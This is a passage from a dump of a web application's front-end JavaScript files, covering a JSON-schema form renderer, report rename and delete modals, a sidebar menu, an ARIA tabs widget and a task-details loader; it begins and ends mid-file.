schema) {\n  if (!schema[\"required\"]) {\n    schema[\"required\"] = [];\n  }\n  let fieldset = document.createElement(\"fieldset\");\n  for (fieldname in schema[\"properties\"]) {\n    let legend = document.createElement(\"legend\");\n    legend.innerText = fieldname;\n    fieldset.appendChild(legend);\n    childoriginal =\n      original && original[fieldname] ? original[fieldname] : false;\n    childschema = schema[\"properties\"][fieldname];\n    subpath = path + \"_\" + fieldname;\n    if (schema[\"properties\"][fieldname][\"type\"] == \"array\") {\n      fieldset.appendChild(\n        renderarray(childoriginal, subpath, fieldname, childschema),\n      );\n    } else if (schema[\"properties\"][fieldname][\"type\"] == \"object\") {\n      fieldset.appendChild(renderobject(childoriginal, subpath, childschema));\n    } else {\n      fieldset.appendChild(\n        renderfield(\n          schema[\"required\"] && schema[\"required\"].includes(fieldname),\n          childoriginal,\n          subpath,\n          fieldname,\n          childschema,\n        ),\n      );\n    }\n  }\n  return fieldset;\n}\n\nfunction renderarray(original, path, name, schema) {\n  if (!schema[\"required\"]) {\n    schema[\"required\"] = [];\n  }\n  let fieldset = document.createElement(\"fieldset\");\n  let minamount = 1;\n  if (original && original.length) {\n    minamount = original.length;\n  }\n  if (schema.minItems) {\n    // lets show the minimum number of input fields, if a minimum number is set, and larger than the current set.\n    if (schema.minItems && schema.minItems > minamount) {\n      minamount = schema.minItems;\n    }\n  }\n  for (var count = 0; count < minamount; count++) {\n    subpath = path + \"_\" + count;\n    if (schema[\"items\"][\"type\"] == \"array\") {\n      fieldset.appendChild(\n        renderarray(\n          original && original[count] ? original[count] : false,\n          subpath,\n          name,\n          schema[\"items\"],\n        ),\n      );\n    } else if (schema[\"items\"][\"type\"] == \"object\") {\n      fieldset.appendChild(\n        renderobject(\n          original && original[count] ? original[count] : false,\n          subpath,\n          schema[\"items\"],\n        ),\n      );\n    } else {\n      required = schema[\"required\"] && count < (schema.minItems || 0);\n      fieldset.appendChild(\n        renderfield(\n          required,\n          original && original[count] ? original[count] : false,\n          subpath,\n          null,\n          schema[\"items\"],\n          true,\n          count,\n        ),\n      );\n    }\n  }\n\n  let morebutton = document.createElement(\"button\");\n  let plussign = document.createTextNode(\"+\");\n  morebutton.appendChild(plussign);\n  morebutton.className = \"more align-right\";\n  fieldset.appendChild(morebutton);\n\n  let lessbutton = document.createElement(\"button\");\n  let minussign = document.createTextNode(\"-\");\n  lessbutton.appendChild(minussign);\n  lessbutton.className = \"less align-right\";\n  fieldset.appendChild(lessbutton);\n\n  morebutton.addEventListener(\"click\", (event) => {\n    event.preventDefault();\n    if (\n      !schema.maxItems ||\n      fieldset.querySelectorAll(\":scope > div, :scope > fieldset\").length <\n        schema.maxItems\n    ) {\n      if (schema[\"items\"][\"type\"] == \"array\") {\n        subpath = path + \"_\" + fieldset.querySelectorAll(\"div\").length;\n        fieldset.insertBefore(\n          renderarray(false, subpath, name, schema[\"items\"]),\n          morebutton,\n        );\n      } else if (schema[\"items\"][\"type\"] == \"object\") {\n        subpath = path + \"_\" + fieldset.querySelectorAll(\"fieldset\").length;\n        fieldset.insertBefore(\n          renderobject(false, subpath, schema[\"items\"]),\n          morebutton,\n        );\n      } else {\n        subpath = path + \"_\" + fieldset.querySelectorAll(\"div\").length;\n        fieldset.insertBefore(\n          renderfield(\n            schema[\"required\"] && schema[\"required\"].includes(name),\n            false,\n            subpath,\n            null,\n            schema[\"items\"],\n          ),\n          morebutton,\n        );\n      }\n    }\n    if (\n      schema.maxItems &&\n      fieldset.querySelectorAll(\":scope > div, :scope > fieldset\").length ==\n        schema.maxItems\n    ) {\n      morebutton.disabled = true;\n    }\n  });\n\n  lessbutton.addEventListener(\"click\", (event) => {\n    event.preventDefault();\n\n    let divset = fieldset.querySelectorAll(\":scope > div, :scope > fieldset\");\n    if (divset.length <= 1) {\n      return;\n    }\n\n    divset[divset.length - 1].remove();\n  });\n\n  if (\n    schema.maxItems &&\n    fieldset.querySelectorAll(\":scope > div, :scope > fieldset\").length ==\n      schema.maxItems\n  ) {\n    morebutton.disabled = true;\n  }\n  return fieldset;\n}\n\nfunction renderfield(required, originalvalue, path, name, field) {\n  let fieldformat = null;\n  if (field[\"format\"]) {\n    let format = field[\"format\"];\n    if (format in formattypes) {\n      fieldformat = formattypes[format];\n    }\n  }\n  let input = null;\n  if (field[\"enum\"]) {\n    input = document.createElement(\"select\");\n    field[\"enum\"].forEach((fieldvalue) => {\n      let value = document.createElement(\"option\");\n      value.value = fieldvalue;\n      if (originalvalue && originalvalue === fieldvalue) {\n        value.selected = true;\n      }\n      let valuetext = document.createTextNode(fieldvalue);\n      value.appendChild(valuetext);\n      input.appendChild(value);\n    });\n  } else {\n    if (!fieldformat) {\n      fieldformat = [\"input\", field[\"type\"] ? field[\"type\"] : \"text\", null];\n    }\n    input = document.createElement(fieldformat[0]);\n    input.type = fieldformat[1];\n    if (!input.pattern && fieldformat[2]) {\n      input.pattern = fieldformat[2];\n    }\n  }\n  input.id = path;\n  input.required = required;\n  if (field[\"pattern\"]) {\n    input.pattern = field[\"pattern\"];\n  }\n  if (!field[\"format\"] && field[\"type\"]) {\n    input.type =\n      field[\"type\"] in inputtypes ? inputtypes[field[\"type\"]] : field[\"type\"];\n  }\n  if (field[\"type\"] == \"number\") {\n    if (field[\"multipleOf\"]) {\n      input.step = field[\"multipleOf\"];\n    } else {\n      input.step = \"0.01\"; // default step size is one, that's what we have Integers for.\n    }\n    if (field[\"minimum\"]) {\n      input.min = field[\"minimum\"];\n    }\n    if (field[\"maximum\"]) {\n      input.max = field[\"maximum\"];\n    }\n    if (field[\"exclusiveMinimum\"]) {\n      input.min = field[\"exclusiveMinimum\"] + 1;\n    }\n    if (field[\"exclusiveMaximum\"]) {\n      input.max = field[\"exclusiveMaximum\"] - 1;\n    }\n  }\n  if (field[\"type\"] == \"boolean\" && field[\"default\"]) {\n    input.checked = field[\"default\"];\n  }\n  if (field[\"default\"]) {\n    input.value = field[\"default\"];\n    input.placeholder = field[\"default\"];\n  } else if (field[\"description\"]) {\n    input.placeholder = field[\"description\"];\n  }\n  if (field[\"minLength\"]) {\n    input.minlength = parseInt(field[\"minLength\"]);\n  }\n  if (field[\"maxLength\"]) {\n    input.maxlength = parseInt(field[\"maxLength\"]);\n  }\n  let label = document.createElement(\"label\");\n  label.htmlFor = input.id;\n\n  let div = document.createElement(\"div\");\n  div.appendChild(label);\n\n  if (field[\"examples\"]) {\n    let datalist = document.createElement(\"datalist\");\n    for (let index = 0; index < field[\"examples\"].length; ++index) {\n      let element = field[\"examples\"][index];\n      let option = document.createElement(\"option\");\n      option.value = element;\n      datalist.appendChild(option);\n    }\n    datalist.id = input.id + \"listoptions\";\n    div.appendChild(datalist);\n    input.list = input.id + \"listoptions\";\n  }\n\n  if (originalvalue) {\n    input.value = originalvalue;\n  }\n  div.appendChild(input);\n  return div;\n}\n\nfunction form2json(wrapper, schema, identifier) {\n  let content = null;\n  let fieldname = null;\n\n  if (schema[\"type\"] == \"object\") {\n    content = ContentFromPostObject(wrapper, identifier, \"\", schema);\n  } else if (schema[\"type\"] == \"array\") {\n    fieldname = schema[\"name\"] || schema[\"description\"] || schema[\"Content\"];\n    content = ContentFromPostArray(wrapper, identifier, \"\", fieldname, schema);\n  }\n  if (content) {\n    return content;\n  }\n\n  return false;\n}\n\nfunction ContentFromPostObject(wrapper, identifier, path, schema) {\n  let content = {};\n  let data = null;\n  let fieldname = null;\n  for (fieldname in schema[\"properties\"]) {\n    subpath = path + \"_\" + fieldname;\n    childschema = schema[\"properties\"][fieldname];\n    data = null;\n    let fieldtype = schema[\"properties\"][fieldname][\"type\"];\n    if (fieldtype == \"array\") {\n      data = ContentFromPostArray(\n        wrapper,\n        identifier,\n        subpath,\n        fieldname,\n        childschema,\n      );\n    } else if (fieldtype == \"object\") {\n      data = ContentFromPostObject(wrapper, identifier, subpath, childschema);\n    } else if (fieldtype == \"boolean\") {\n      data = wrapper.elements[identifier + subpath].checked;\n    } else if (wrapper.elements[identifier + subpath]) {\n      data = wrapper.elements[identifier + subpath].value;\n    }\n\n    if (data || fieldtype == \"boolean\") {\n      if (schema[\"properties\"][fieldname][\"type\"] == \"number\") {\n        data = parseFloat(data);\n      } else if (schema[\"properties\"][fieldname][\"type\"] == \"integer\") {\n        data = parseInt(data);\n      }\n      content[fieldname] = data;\n    }\n  }\n  if (Object.keys(content).length) {\n    return content;\n  }\n  return false;\n}\n\nfunction ContentFromPostArray(wrapper, identifier, path, fieldname, schema) {\n  let maxcount = schema[\"maxItems\"] || 9999;\n  let content = [];\n  let data = null;\n  for (let count = 0; count < maxcount; count++) {\n    subpath = path + \"_\" + count;\n    data = null;\n    if (schema[\"items\"][\"type\"] == \"array\") {\n      data = ContentFromPostArray(\n        wrapper,\n        identifier,\n        subpath,\n        fieldname,\n        schema[\"items\"],\n      );\n    } else if (schema[\"items\"][\"type\"] == \"object\") {\n      data = ContentFromPostObject(\n        wrapper,\n        identifier,\n        subpath,\n        schema[\"items\"],\n      );\n    } else if (wrapper.elements[identifier + subpath]) {\n      data = wrapper.elements[identifier + subpath].value;\n    }\n    if (!data) {\n      break;\n    }\n\n    if (schema[\"items\"][\"type\"] == \"number\") {\n      data = parseFloat(data);\n    } else if (schema[\"items\"][\"type\"] == \"integer\") {\n      data = parseInt(data);\n    }\n\n    content.push(data);\n  }\n\n  if (content) {\n    return content;\n  }\n  return false;\n}\n\nfunction resetform(wrapper) {\n  wrapper.querySelectorAll(\"div, fieldset\").forEach((field) => {\n    field.querySelectorAll(\"input, textarea, div\").forEach((inputfield) => {\n      if (field.parentNode) {\n        field.parentNode.removeChild(field);\n      }\n    });\n  });\n}\n"
  },
  {
    "path": "rocky/assets/js/pluginToggler.js",
    "content": "function togglePlugins(containerClass) {\n  const container = document.querySelector(\".\" + containerClass);\n  const button = container.querySelector(\"#more-suggested-plugins\");\n  const checkbox = document.getElementById(\n    \"checkbox-for-enabled-optional-plugins\",\n  );\n\n  // Toggle \"overflow\" when amount of plugins exceed 4 (We only show 1 row containing 4 items, initially)\n  function updateVisibility() {\n    container.classList.toggle(\"hide-overflow\");\n    setButtonAmountText();\n  }\n\n  function setButtonAmountText() {\n    const amountOfPlugins = container.getElementsByClassName(\"plugin\").length;\n    const amountOfDisabledPlugins =\n      container.getElementsByClassName(\"plugin-is-disabled\").length;\n    let baseText = \"\";\n\n    // Determine if the button text should be \"Show\" or \"Hide\"\n    if (container.classList.contains(\"hide-overflow\")) {\n      baseText = button.dataset.showText;\n    } else {\n      baseText = button.dataset.hideText;\n    }\n\n    // Determine amount of \"to be shown\" plugins. Hide button if amount !> 0\n    if (checkbox.checked) {\n      if (amountOfPlugins - 4 > 0) {\n        button.classList.remove(\"hidden\");\n        button.innerHTML = `${baseText} (${amountOfPlugins - 4})`;\n      } else {\n        button.classList.add(\"hidden\");\n      }\n    } else {\n      if (amountOfDisabledPlugins - 4 > 0) {\n        button.classList.remove(\"hidden\");\n        button.innerHTML = `${baseText} (${amountOfDisabledPlugins - 4})`;\n      } else {\n        button.classList.add(\"hidden\");\n      }\n    }\n  }\n\n  setButtonAmountText();\n  button.addEventListener(\"click\", updateVisibility);\n  checkbox.addEventListener(\"change\", setButtonAmountText);\n}\n\ndocument.addEventListener(\"DOMContentLoaded\", (event) => {\n  togglePlugins(\"optional-plugin-container\");\n});\n"
  },
  {
    "path": "rocky/assets/js/renameReports.js",
    "content": "import { onDomReady } from \"../js/imports/utils.js\";\n\nonDomReady(initRenameReports);\n\nfunction initRenameReports() {\n  const table = document.getElementById(\"report-name-table\");\n  if (!table) return;\n\n  table.addEventListener(\"click\", function (event) {\n    if (!event.target.matches(\".reset-button\")) return;\n    event.stopPropagation();\n    const button = event.target;\n    const input = button.closest(\"tr\")?.querySelector(\".name-input\");\n    if (!input) return;\n    input.value = input.defaultValue;\n    button.classList.add(\"hidden\");\n  });\n\n  table.addEventListener(\"change\", function (event) {\n    if (!event.target.matches(\".name-input\")) return;\n    event.stopPropagation();\n    const input = event.target;\n    const button = input.closest(\"tr\")?.querySelector(\".reset-button\");\n    if (!button) return;\n    if (input.defaultValue === input.value) {\n      button.classList.add(\"hidden\");\n    } else {\n      button.classList.remove(\"hidden\");\n    }\n  });\n}\n"
  },
  {
    "path": "rocky/assets/js/report.js",
    "content": "import \"../css/report.scss\";\n"
  },
  {
    "path": "rocky/assets/js/reportActionForms.js",
    "content": "export function renderRenameSelection(modal, selection) {\n  let report_names = getReportNames(selection);\n  let report_types = getReportTypes(selection);\n  let references = [];\n\n  selection.forEach((input_element) => {\n    references.push(input_element.value);\n  });\n\n  let table_element = document.getElementById(\"report-name-table\");\n  let table_body = table_element.querySelector(\"tbody\");\n  let table_row = table_element.querySelector(\"tr.rename-table-row\");\n\n  table_body.innerHTML = \"\";\n\n  for (let i = 0; i < references.length; i++) {\n    let table_row_copy = table_row.cloneNode(true);\n\n    let type_ul = table_row_copy.querySelector(\"td.type ul\");\n    let name_input_element = table_row_copy.querySelector(\".report-name-input\");\n    let reference_input_element = table_row_copy.querySelector(\n      \".report-reference-input\",\n    );\n    // let date_td = table_row_copy.querySelector(\"td.date\");\n\n    name_input_element.setAttribute(\"value\", report_names[i]);\n    reference_input_element.setAttribute(\"value\", references[i]);\n\n    type_ul.innerHTML = report_types[i];\n    // date_td.innerText = \"date\";\n\n    table_body.appendChild(table_row_copy);\n  }\n}\n\nexport function renderDeleteSelection(modal, selection) {\n  let report_names = getReportNames(selection);\n  let report_types = getReportTypes(selection);\n  let reference_dates = getReportReferenceDates(selection);\n  let creation_dates = getReportCreationDates(selection);\n  let report_oois = getReportOOIs(selection);\n  let references = [];\n\n  selection.forEach((input_element) => {\n    references.push(input_element.value);\n  });\n\n  let table_element = document.getElementById(\"delete-table\");\n  let table_body = table_element.querySelector(\"tbody\");\n  let table_row = table_element.querySelector(\"tr.delete-table-row\");\n\n  table_body.innerHTML = \"\";\n\n  for (let i = 0; i < references.length; i++) {\n    let table_row_copy = table_row.cloneNode(true);\n\n    let reference_input_element = table_row_copy.querySelector(\n      \".report-reference-input\",\n    );\n\n    let type_ul = table_row_copy.querySelector(\"td.type ul\");\n    let reference_date_td = table_row_copy.querySelector(\"td.reference_date\");\n    let creation_date_td = table_row_copy.querySelector(\"td.creation_date\");\n    let ooi_td = table_row_copy.querySelector(\"td.input_objects\");\n    let name_span = table_row_copy.querySelector(\"td.name span.name-holder\");\n\n    name_span.innerText = report_names[i];\n    reference_input_element.setAttribute(\"value\", references[i]);\n\n    type_ul.innerHTML = report_types[i];\n    reference_date_td.innerText = reference_dates[i];\n    creation_date_td.innerText = creation_dates[i];\n    ooi_td.innerHTML = report_oois[i];\n\n    table_body.appendChild(table_row_copy);\n  }\n}\n\nexport function renderRerunSelection(modal, selection) {\n  let report_names = getReportNames(selection);\n  let references = [];\n  let report_types = getReportTypes(selection);\n  let reference_dates = getReportReferenceDates(selection);\n  let creation_dates = getReportCreationDates(selection);\n  let report_oois = getReportOOIs(selection);\n\n  selection.forEach((input_element) => {\n    references.push(input_element.value);\n  });\n\n  let table_element = document.getElementById(\"rerun-table\");\n  let table_body = table_element.querySelector(\"tbody\");\n  let table_row = table_element.querySelector(\"tr.rerun-table-row\");\n\n  table_body.innerHTML = \"\";\n\n  for (let i = 0; i < references.length; i++) {\n    let table_row_copy = table_row.cloneNode(true);\n\n    let reference_input_element = table_row_copy.querySelector(\n      \".report-reference-input\",\n    );\n\n    let type_ul = table_row_copy.querySelector(\"td.type ul\");\n    let reference_date_td = table_row_copy.querySelector(\"td.reference_date\");\n    let creation_date_td = table_row_copy.querySelector(\"td.creation_date\");\n    let ooi_td = table_row_copy.querySelector(\"td.input_objects\");\n    let name_span = table_row_copy.querySelector(\"td.name span.name-holder\");\n\n    name_span.innerText = report_names[i];\n    reference_input_element.setAttribute(\"value\", references[i]);\n\n    type_ul.innerHTML = report_types[i];\n    reference_date_td.innerText = reference_dates[i];\n    creation_date_td.innerText = creation_dates[i];\n    ooi_td.innerHTML = report_oois[i];\n\n    table_body.appendChild(table_row_copy);\n  }\n}\n\nexport function getReportNames(selection) {\n  let report_names = [];\n\n  for (let i = 0; i < selection.length; i++) {\n    let report_name = selection[i]\n      .closest(\"tr\")\n      ?.querySelector(\"td.report_name a\")?.innerText;\n\n    if (!report_name) {\n      continue;\n    }\n\n    report_names.push(report_name);\n  }\n\n  return report_names;\n}\n\nexport function getReportTypes(selection) {\n  let report_types_list = [];\n\n  for (let i = 0; i < selection.length; i++) {\n    let report_types = selection[i]\n      .closest(\"tr\")\n      ?.querySelector(\"td.report_types ul.tags\")?.innerHTML;\n\n    if (!report_types) {\n      continue;\n    }\n\n    report_types_list.push(report_types);\n  }\n\n  return report_types_list;\n}\n\nexport function getReportOOIs(selection) {\n  let report_oois_list = [];\n\n  for (let i = 0; i < selection.length; i++) {\n    let report_oois = selection[i]\n      .closest(\"tr\")\n      ?.querySelector(\"td.report_oois\")?.innerHTML;\n\n    if (!report_oois) {\n      continue;\n    }\n\n    report_oois_list.push(report_oois);\n  }\n\n  return report_oois_list;\n}\n\nexport function getReportReferenceDates(selection) {\n  let reference_dates = [];\n\n  for (let i = 0; i < selection.length; i++) {\n    let reference_date = selection[i]\n      .closest(\"tr\")\n      ?.querySelector(\"td.report_reference_date\")?.innerHTML;\n\n    if (!reference_date) {\n      continue;\n    }\n\n    reference_dates.push(reference_date);\n  }\n\n  return reference_dates;\n}\n\nexport function getReportCreationDates(selection) {\n  let creation_dates = [];\n\n  for (let i = 0; i < selection.length; i++) {\n    let creation_date = selection[i]\n      .closest(\"tr\")\n      ?.querySelector(\"td.report_creation_date\")?.innerHTML;\n\n    if (!creation_date) {\n      continue;\n    }\n\n    creation_dates.push(creation_date);\n  }\n\n  return creation_dates;\n}\n"
  },
  {
    "path": "rocky/assets/js/sidemenuOl.js",
    "content": "// @ts-check\n\nimport {\n  closest,\n  ensureElementHasId,\n  onDomReady,\n  prependNode,\n} from \"./imports/utils.js\";\n\nonDomReady(initSidemenus);\n\n/**\n * Add a close/open toggle behaviour to the sidemenus. Safe to call again to\n * apply to newly added sidemenus.\n */\nexport function initSidemenus() {\n  var sidemenus = document.querySelectorAll(\n    \".sidemenu > .sticky-container > nav\",\n  );\n  for (var i = 0; i < sidemenus.length; i++) {\n    var sidemenu = sidemenus[i];\n    if (!(sidemenu instanceof HTMLElement)) {\n      continue;\n    }\n    if (!sidemenu.querySelector(\"button.sidemenu-toggle\")) {\n      addToggleButton(sidemenu);\n    }\n    adjustMaxHeight(sidemenu);\n  }\n}\n\n/**\n * @param {HTMLElement} sidemenu\n */\n\nfunction addToggleButton(sidemenu) {\n  var main = closest(sidemenu, \".sidemenu\");\n  var ol = sidemenu.querySelector(\"ol\");\n\n  if (!main || !ol) {\n    return;\n  }\n\n  ensureElementHasId(ol);\n\n  var openLabel = sidemenu.dataset.openLabel || \"Zijbalknavigatie\";\n  var closeLabel = sidemenu.dataset.closeLabel || \"Sluit zijbalknavigatie\";\n  var toggleButtonType = sidemenu.dataset.toggleButtonType || \"ghost\";\n\n  var button = document.createElement(\"button\");\n  button.type = \"button\";\n  button.classList.add(toggleButtonType, \"sidemenu-toggle\");\n  button.setAttribute(\"aria-controls\", ol.id);\n\n  function isClosed() {\n    return main.classList.contains(\"sidemenu-closed\");\n  }\n\n  function setClosed(closed) {\n    button.innerText = closed ? closeLabel : openLabel;\n    button.setAttribute(\"aria-expanded\", String(!closed));\n    if (closed) {\n      main.classList.add(\"sidemenu-closed\");\n    } else {\n      main.classList.remove(\"sidemenu-closed\");\n    }\n  }\n\n  setClosed(isClosed());\n\n  button.addEventListener(\"click\", function () {\n    setClosed(!isClosed());\n  });\n\n  prependNode(sidemenu, button);\n}\n\n/**\n * @param {HTMLElement} sidemenu\n */\n\nfunction adjustMaxHeight(sidemenu) {\n  let pageHeight = document.documentElement.scrollHeight;\n\n  const pageHeaderElement = document.getElementById(\"page-header\");\n  const pageFooterElement = document.getElementById(\"page-footer\");\n  const stickyElement = document.getElementById(\"sticky-container\");\n\n  let pageHeaderHeight = pageHeaderElement?.offsetHeight;\n  let pageFooterHeight = pageFooterElement?.offsetHeight;\n  determineSidebarMaxHeight();\n\n  window.addEventListener(\"resize\", (event) => {\n    // Set the height of the page header and footer\n    // when the size of the window changes,\n    // to account for responsive behaviour\n    pageHeaderHeight = pageHeaderElement?.offsetHeight;\n    pageFooterHeight = pageFooterElement?.offsetHeight;\n    pageHeight = document.documentElement.scrollHeight;\n    determineSidebarMaxHeight();\n  });\n\n  window.addEventListener(\"scroll\", (event) => {\n    pageHeight = document.documentElement.scrollHeight;\n    determineSidebarMaxHeight();\n  });\n\n  function determineSidebarMaxHeight() {\n    // Amount of pixels the page is scrolled\n    let scrollCount = document.scrollingElement?.scrollTop;\n\n    // As long as the page header is in viewport while scrolling, adjust sidebar max-height\n    if (scrollCount < pageHeaderHeight) {\n      stickyElement.style.maxHeight =\n        \"calc(100vh - (\" + pageHeaderHeight + \"px - \" + scrollCount + \"px))\";\n    } else {\n      var viewPortHeight = document.documentElement.clientHeight;\n\n      // When the page footer is in viewport while scrolling, adjust sidebar max-height\n      if (scrollCount + viewPortHeight >= pageHeight - pageFooterHeight) {\n        // Determine how much of the footer is in viewort\n        let notVisibleFooterPx = pageHeight - (scrollCount + viewPortHeight);\n        let visibleFooterPx = pageFooterHeight - notVisibleFooterPx;\n\n        // Adjust sidebar with visible footer pixels amount\n        stickyElement.style.maxHeight =\n          \"calc(100vh - \" + visibleFooterPx + \"px)\";\n      } else {\n        // When both page header and page footer are outside of viewport, max-height should be 100vh\n        stickyElement.style.maxHeight = \"calc(100vh)\";\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/js/stringHelpers.js",
    "content": "const stringToColor = (str) => {\n  if (str === undefined) {\n    return \"#cccccc\";\n  }\n\n  let hash = 0;\n  let color = \"#\";\n\n  for (let i = 0; i < str.length; i++) {\n    hash = str.charCodeAt(i) + ((hash << 5) - hash);\n  }\n\n  for (let i = 0; i < 3; i++) {\n    let value = (hash >> (i * 8)) & 0xff;\n    color += (\"00\" + value.toString(16)).substr(-2);\n  }\n\n  return color;\n};\n\nconst colorForOoi = (ooiType) => {\n  const colors = {\n    dnsNameServer: \"#FFDFD3\",\n    dnsRecord: \"#98E2F7\",\n    dnsSoa: \"#F7C5DD\",\n    dnsZone: \"#FFBD33\",\n    ipAddress: \"#D0B1FC\",\n  };\n\n  if (Object.keys(colors).includes(ooiType)) {\n    return colors[ooiType];\n  }\n\n  return stringToColor(ooiType);\n};\n\nconst truncateText = (text, length, truncateCenter = true) => {\n  if (text.length <= length) {\n    return text;\n  }\n\n  if (!truncateCenter) {\n    return text.substring(0, length - 3) + \"…\";\n  }\n\n  const startLength = 8;\n  const endLength = length - startLength - 3;\n\n  return text.substring(0, startLength) + \"…\" + text.slice(-endLength);\n};\n"
  },
  {
    "path": "rocky/assets/js/tabs.js",
    "content": "/*\n *   This content is licensed according to the W3C Software License at\n *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document\n *\n *   File:   tabs-manual.js\n *\n *   Desc:   Tablist widget that implements ARIA Authoring Practices\n */\n\n\"use strict\";\n\nclass TabsManual {\n  constructor(groupNode) {\n    this.tablistNode = groupNode;\n\n    this.tabs = [];\n\n    this.firstTab = null;\n    this.lastTab = null;\n\n    this.tabs = Array.from(this.tablistNode.querySelectorAll(\"[role=tab]\"));\n    this.tabpanels = [];\n\n    for (var i = 0; i < this.tabs.length; i += 1) {\n      var tab = this.tabs[i];\n      var tabpanel = document.getElementById(tab.getAttribute(\"aria-controls\"));\n\n      tab.tabIndex = -1;\n      tab.setAttribute(\"aria-selected\", \"false\");\n      this.tabpanels.push(tabpanel);\n\n      tab.addEventListener(\"keydown\", this.onKeydown.bind(this));\n      tab.addEventListener(\"click\", this.onClick.bind(this));\n\n      if (!this.firstTab) {\n        this.firstTab = tab;\n      }\n      this.lastTab = tab;\n    }\n\n    this.setSelectedTab(this.firstTab);\n  }\n\n  setSelectedTab(currentTab) {\n    for (var i = 0; i < this.tabs.length; i += 1) {\n      var tab = this.tabs[i];\n      if (currentTab === tab) {\n        tab.setAttribute(\"aria-selected\", \"true\");\n        tab.removeAttribute(\"tabindex\");\n        this.tabpanels[i].classList.remove(\"hidden\");\n      } else {\n        tab.setAttribute(\"aria-selected\", \"false\");\n        tab.tabIndex = -1;\n        this.tabpanels[i].classList.add(\"hidden\");\n      }\n    }\n  }\n\n  moveFocusToTab(currentTab) {\n    currentTab.focus();\n  }\n\n  moveFocusToPreviousTab(currentTab) {\n    var index;\n\n    if (currentTab === this.firstTab) {\n      this.moveFocusToTab(this.lastTab);\n    } else {\n      index = this.tabs.indexOf(currentTab);\n      this.moveFocusToTab(this.tabs[index - 1]);\n    }\n  }\n\n  moveFocusToNextTab(currentTab) {\n    var index;\n\n    if (currentTab === this.lastTab) {\n      this.moveFocusToTab(this.firstTab);\n    } else {\n      index = this.tabs.indexOf(currentTab);\n      this.moveFocusToTab(this.tabs[index + 1]);\n    }\n  }\n\n  /* EVENT HANDLERS */\n\n  onKeydown(event) {\n    var tgt = event.currentTarget,\n      flag = false;\n\n    switch (event.key) {\n      case \"ArrowLeft\":\n        this.moveFocusToPreviousTab(tgt);\n        flag = true;\n        break;\n\n      case \"ArrowRight\":\n        this.moveFocusToNextTab(tgt);\n        flag = true;\n        break;\n\n      case \"Home\":\n        this.moveFocusToTab(this.firstTab);\n        flag = true;\n        break;\n\n      case \"End\":\n        this.moveFocusToTab(this.lastTab);\n        flag = true;\n        break;\n\n      default:\n        break;\n    }\n\n    if (flag) {\n      event.stopPropagation();\n      event.preventDefault();\n    }\n  }\n\n  // Since this example uses buttons for the tabs, the click onr also is activated\n  // with the space and enter keys\n  onClick(event) {\n    this.setSelectedTab(event.currentTarget);\n  }\n}\n\nfunction initTablist() {\n  var tablists = document.querySelectorAll(\"[role=tablist].manual\");\n  for (var i = 0; i < tablists.length; i++) {\n    new TabsManual(tablists[i]);\n  }\n}\n\n// Initialize tablist\n\nwindow.addEventListener(\"load\", function () {\n  initTablist();\n});\n"
  },
  {
    "path": "rocky/assets/js/taskDetails.js",
    "content": "const htmlElement = document.getElementsByTagName(\"html\")[0];\nconst language = htmlElement.getAttribute(\"lang\");\nconst organization_code = htmlElement.getAttribute(\"data-organization-code\");\n\nconst task_buttons = document.querySelectorAll(\n  \".expando-button.boefjes-task-list-table-row,\" +\n    \".expando-button.normalizer-list-table-row,\" +\n    \".expando-button.ooi-detail-task-list-table-row\",\n);\nconst asyncoffset = 5; // time (in seconds) to allow for the database to actually save the OOIs\n\ntask_buttons.forEach((button) => {\n  const raw_task_id = button.closest(\"tr\").getAttribute(\"data-task-id\");\n  const task_id = button\n    .closest(\"tr\")\n    .getAttribute(\"data-task-id\")\n    .replace(/-/g, \"\");\n  const task_status = button.closest(\"tr\").getAttribute(\"data-task-status\");\n\n  const organization =\n    organization_code ||\n    button.closest(\"tr\").getAttribute(\"data-organization-code\");\n  const task_type = button.closest(\"tr\").getAttribute(\"data-task-type\");\n  const expando_row = button.closest(\"tr\").nextElementSibling;\n  var json_url = \"\";\n\n  if (task_status == \"failed\" || task_status == \"completed\") {\n    if (task_type == \"boefje\") {\n      json_url =\n        \"/\" +\n        language +\n        \"/\" +\n        organization +\n        \"/bytes/\" +\n        encodeURI(task_id) +\n        \"/raw?format=json\";\n      expando_row\n        .querySelector(\"#yielded-rawfiles-\" + raw_task_id)\n        .classList.remove(\"hidden\");\n      expando_row\n        .querySelector(\"#yielded-objects-\" + raw_task_id)\n        .classList.add(\"hidden\");\n    } else {\n      json_url =\n        \"/\" +\n        language +\n        \"/\" +\n        organization +\n        \"/tasks/normalizers/\" +\n        encodeURI(task_id);\n      expando_row\n        .querySelector(\"#yielded-objects-\" + raw_task_id)\n        .classList.remove(\"hidden\");\n      expando_row\n        .querySelector(\"#yielded-rawfiles-\" + raw_task_id)\n        .classList.add(\"hidden\");\n    }\n  } else {\n    const messages = expando_row.querySelectorAll(\n      \"#yielded-objects-\" +\n        raw_task_id +\n        \", #yielded-rawfiles-\" +\n        raw_task_id +\n        \", .explanation\",\n    );\n    messages.forEach((element) => {\n      element.remove();\n    });\n    return;\n  }\n  const getJson = (url, callback) => {\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", url, true);\n    xhr.responseType = \"json\";\n    xhr.onload = function () {\n      var status = xhr.status;\n\n      const messages = expando_row.querySelectorAll(\".error, .explanation\");\n      messages.forEach((element) => {\n        element.remove();\n      });\n\n      if (status === 200) {\n        callback(xhr.response);\n      } else {\n        // Create HTML elements to build a snippet containing the error message.\n        let error_element = document.createElement(\"div\");\n        let error_text_element = document.createElement(\"p\");\n\n        error_text_element.innerText =\n          \"Retrieving yielded raw files resulted in a Server Error: Status code \";\n        error_element.appendChild(error_text_element);\n        error_element.classList.add(\"error\");\n\n        // Log the error in the console.\n        console.log(\n          \"Server Error: Retrieving yielded raw files failed. Server response: Status code \" +\n            xhr.status +\n            \" - \" +\n            xhr.statusText,\n        );\n\n        // Insert the HTML snippet into the expando row, which is the buttons parent TR next TR-element sibling.\n        expando_row\n          .querySelector(\"#yielded-rawfiles-\" + raw_task_id)\n          .appendChild(error_element);\n      }\n    };\n    xhr.send();\n  };\n\n  button.addEventListener(\"click\", function () {\n    // only load the results once, by checking if we are already showing output\n    if (\n      !button\n        .closest(\"tr\")\n        .nextElementSibling.querySelector(\".yielded-rawfiles, .yielded-objects\")\n    ) {\n      // Retrieve JSON containing yielded raw files or oois of task.\n      getJson(json_url, function (data) {\n        let rawfiles_element = document.createElement(\"div\");\n        rawfiles_element.classList.add(\"yielded-rawfiles\");\n\n        if (!data) {\n          rawfiles_element.innerHTML = `<p class='explanation'>Task 